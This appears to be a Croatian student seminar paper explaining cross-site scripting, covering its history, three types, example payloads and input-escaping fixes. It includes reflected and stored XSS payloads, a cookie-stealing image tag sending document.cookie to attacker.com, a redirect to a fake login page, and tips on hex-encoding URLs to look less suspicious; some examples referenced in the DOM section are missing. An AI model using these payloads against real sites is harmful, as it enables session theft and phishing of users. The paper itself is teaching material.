Seminarski rad PDF dokumenat

 

DCOM exploit video RPC buffer overflow exploit video primjer

 

TFTP exploit video TFTP exploit video primjer
 

4. Cross-site scripting – XSS

 

4.1 Uvod

Cross-site scripting (kasnije nazvan XSS kako bi se napravila razlika između Cascading Style Sheet) je vrsta sigurnosnog propusta koja obuhvaća web aplikacije koje nisu dobro i kvalitetno kodirane i ne provjeravaju ulazne parametre. Ovakva vrsta sigurnosnog propusta omogućuje napadaču da injektira kod u aplikaciju i na taj način zaobiđe mehanizme zaštite na web stranici ili primjeni phishing na korisnike. Činjenica je da preko ranjivih web stranica moguće izvršiti HTML i JavaScript kod sa nevaljalih formi, čije izvršavanje može biti vrlo opasno: moguće je na taj način ukrasti kolačiće (engl. cookie) ili preusmjerit web stranicu tako da prikazuje lažnu login stranicu kako bi omogućilo napadaču da ukrade korisničko ime i lozinku.

To je podcijenjeni problem od strane webmastera, zato što ustvari XSS ne može ugroziti web stanicu sam, već može iskoristit neopreznog korisnika. Potrebno je dosta vremena da se uoče takvi propusti od strane webmastera, a u među vremenu oni predstavljaju ozbiljan sigurnosni problem.

           

4.2 Povijest

Ime Cross-Site Scripting je izmislio Mark Slemko, XSS pionir, i ustvari ovo ime ne reflektira sve propuste u toj klasi, a on je objasnio taj razlog svojim odgovorom:

           
"This issue isn't just about scripting, and there isn't necessarily anything
cross-site about it. So why the name? It was coined earlier on when the
problem was less understood, and it stuck. Believe me, we have had more                       important things to do than think of a better name."

Ime je vrlo brzo prihvaćeno a ujedno se ne radi zabunu s Cascading-Style Sheets i Content-Scrumble Systems. Počevši od Bugtraq zajednice, XSS je postajao sve prihvaćeniji i to je postao "službeni" naziv za takvu vrstu propusta.

 

 

4.3 Vrste XSS

 

Izraz XSS je ustvari pomalo izbjegavan iz razloga što uključuje različite načine napada koji se zasnivaju na različitim mehanizmima napada.

 

Postoje tri vrste Cross-Site Scripting, nazvanih:

 

4.3.1 DOM-temeljen

 

Dom-temeljen Cross-Site scripting omogućuje napadaču da radi ne na žrtvinoj web stranici već na žrtvinom lokalnom računalu: različiti operacijski sustavi obično sadrže "prije rođenja" neke HTML stranice koje su kreirane za različite ciljeve, ali kako je čovjek sklon napravi grešku te HTML stranice često su iskorištene zbog svoje ranjivosti.

DOM-temeljen XSS exploita ove probleme na korisnikovom lokalnom računalu na ovaj način:

Kao što se vidi, ovo je vrlo jednostavan napad, i to je noviji napad koji jednom kad se nađe, upotrebljiv je za stalno. Ovakva vrsta napada je vrlo opasna budući da daje pristup žrtvinom računalu, i sve dok korisnik ne provjerava sigurnost svog računala i ne vrši update, DOM-temeljen XSS propusti rade jako dobro.

Rješenje ovog problema je da treba voditi računa samo o dvije stvari:

 

4.3.2 Neustrajni XSS

Neustrajni XSS je najpoznatiji sigurnosni propust koji se može naći na Internetu. Nazvan je "non-persistent" zato što radi na trenutnom HTTP odgovoru sa žrtvine web stranice: on se tek uoči kada web stranica dobije podatke predviđene od napadača kako bi automatski generirali izlaznu stranicu za napadača. Na temelju toga napadač može osigurati neki zlonamjerni kod i probati natjerati server da ga izvrši kako bi se postigli željeni rezultati.

Najčešće primijenjena vrsta takvog propusta je u servisima za pretraživanje na web stranicama: napadač piše neki zlonamjerni HTML kod u textbox, ako je web stranica ranjiva, rezultat je kod koji smo unijeli u textbox, on se prikaže na web stranici. Ako se to dogodi, 99% je vjerojatnost da će mehanizam za traženje izvršiti zlonamjerni JavaScript kod.

Na primjer, ako web stranica radi na ovaj način:

 

http://www.example.com/search.php?text=TEXTTOSEARCH

 

moguće je ubacit HTML tagove u “text” varijablu:

 
http://www.example.com/search.php?text=
                               <imgsrc="http://attacker.com/image.jpg">
 

 

Ako je web stranica ranjiva, prikazat će se napadačeva slika kao rezultantna stranica.

Ako pokušamo ubaciti JavaScript kod:

 
http:///www.example.com/search.php?text= 
                                 <script>alert(document.cookie)</script> 
 

 

Najvjerojatnije će web stranica vratiti pop-up prozorčić s trenutnim kolačićem za web stranicu koja je trenutno posječena. Što naravno nije dobro. Kao što se vidi web stranica će izvršiti bilo koji JavaScript kod koji napadač želi izvršit, ponekad je moguće pronaći da web stranica ima filtar za "" i '', ali to nije veliki problem za napadača. Ovaj sigurnosni problem može napadač iskoristiti kako bi ukrao informacije od korisnika sa žrtvine web stranice, kao na primjer:

 
http://www.victim.com/search.php?text=MALICIOUSCODE
 

 

Kako bi učinili url (engl. Uniform Resource Locator) manje sumnjivim, korisno je kodirati kod u url-u u heksadekadske vrijednosti. To se može napraviti gotovim servisima na Internetu kao npr.:

            http://encoder.playhack.net

primjer kodiranog koda:

 

<script>alert("XSS")</script>

 

Kodirani rezultat izgleda ovako:

 

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3B%3C%2F%73
%63%72%69%70%74%3E

 

Te na taj način zlonamjerni kod, se iz ovog oblika:

 

http://www.victim.com/search.php?text=<script>alert("XSS")</script>

 

kriptira u ovakav oblik, koji je korisniku manje razumljiv:

 

http://www.victim.com/search.php?text=%3C%73%63%72%69%70%74%3E%61%6C%
65%72%74%28%22%58%53%53%22%29%3B%3C%2F%73%63%72%69%70%74%3E

 

Te naravno takav kriptirani oblik je za korisnika, puno manje sumnjičav od originalnog odlika.

Analiza napada:

                       

 
http://www.victim.com/search.php?text= 
<script>
document.location("http://napadacevastranica.com/lazni_login.php")
</script>

 

Kodiran u hex notaciji.

           
Rješenje ovakvog sigurnosnog propusta je da se vrši provjera koda koji se unosi u web stranicu izbjegavajući HTML tagove ili prihvaćajući samo slova i brojke, kao u ovom primjeru:

Python: cgi.escape($code)
PHP:    eregi("[^a-zA-Z0-9_]", $code)
$code = htmlentities($code)

 

4.3.3 Ustrajan XSS

 

Ustrajni XSS propust je sličan drugom tipu XSS-a ( neustrajnom XSS), zato što oba rade na žrtvinoj web stranici i pokušavaju pribaviti informacije o korisniku. Razlika je u tome što ranjive web stranice kod ustrajnog XSS-a napadač ne treba osigurati url do korisnika, zato što web stranica zahtjeva od korisnika da unese podatke u sistem, ovo je slučaj kao kod knjige gostiju engl. guestbook.

Obično korisnik koristi takve alate kako bi ostavio poruku na web stranici i na prvi pogled ovo se ne čini kao neka opasna radnja, ali ako napadač otkrije da je sistem ranjiv on može umetnuti neki zlonamjerni kod u svoju poruku i na taj način su svi posjetitelji  te web stranice ujedno i žrtve koje će biti napadnute s tim zlonamjernim kodom.

Ovakav propust uspijeva kada alati koji služe za unos poruka ne vrše nikakvu provjeru sadržaja koji se unosi npr. knjiga gostiju, na taj način se samo unesu podaci koje je korisnik pripremio u rezultantnu stranicu.

Napadač je mogao vrlo lako ubaciti zlonamjerni kod kao u ovom primjeru :

 

<img src="javascript:
document.location('http://attacker.com/steal.php?cookie=' . encodeURI(document.cookie));">

 

Ovaj zlonamjerni kod omogućuje napadaču da ukrade kolačić (engl. Cookie) sa korisnikova računala. Ovo je samo jedan primjer od njih mnogo i od mogućih injekcija koje je moguće izvršiti na ranjivoj web stranici. Ustrajni XSS je očito puno opasniji od ostalih načina XSS-a, zato što vrlo lako može ugroziti mnogo korisnika od strane samo jednog napadača. Rješenje ovog problema je isto kao i kod neustrajnog XSS-a.

Cross site scripting poznat kao XSS, događa se kada web aplikacija zaprimi zlonamjerne podatke od nekog korisnika. Mnogi forumi i knjige gostiju dopuštaju unos HTML-a. Mnogima je pojam CSS poznat kao Cascading Style Sheet tako da ta kratica nije upotrebljena za pojam Cross Site Scripting, već se upotrebljava XSS. Potencijalni napadač će ubaciti JavaScript, VBScript, ActiveX, HTML ili Flash u nezaštićenu aplikaciju da prevari korisnika. Proizvod poznat po mnogim XSS propustima je svakako PHPnuke. Ta aplikacija je vrlo često bila metom napada, a napadačima je bila posebno zanimljiva upravo zbog svoje popularnosti.

Provjera XSS rupa:


Nakon što je pronađena XSS rupa u nekoj aplikaciji treba pokušati saznati da li je moguće ukrasti cookie. Ako bilo koji dio web stranice koristi kolačić onda je i moguće da ih se ukrade od korisnika. S obzirom da su XSS propusti različiti  ovisno kako su otkriveni, neki testovi trebat će biti napravljeni kako bi se mogao izvršiti izlaz. Ubacujući kôd u skriptu izlaz će biti promijenjen i stranica se može činiti nedostupna.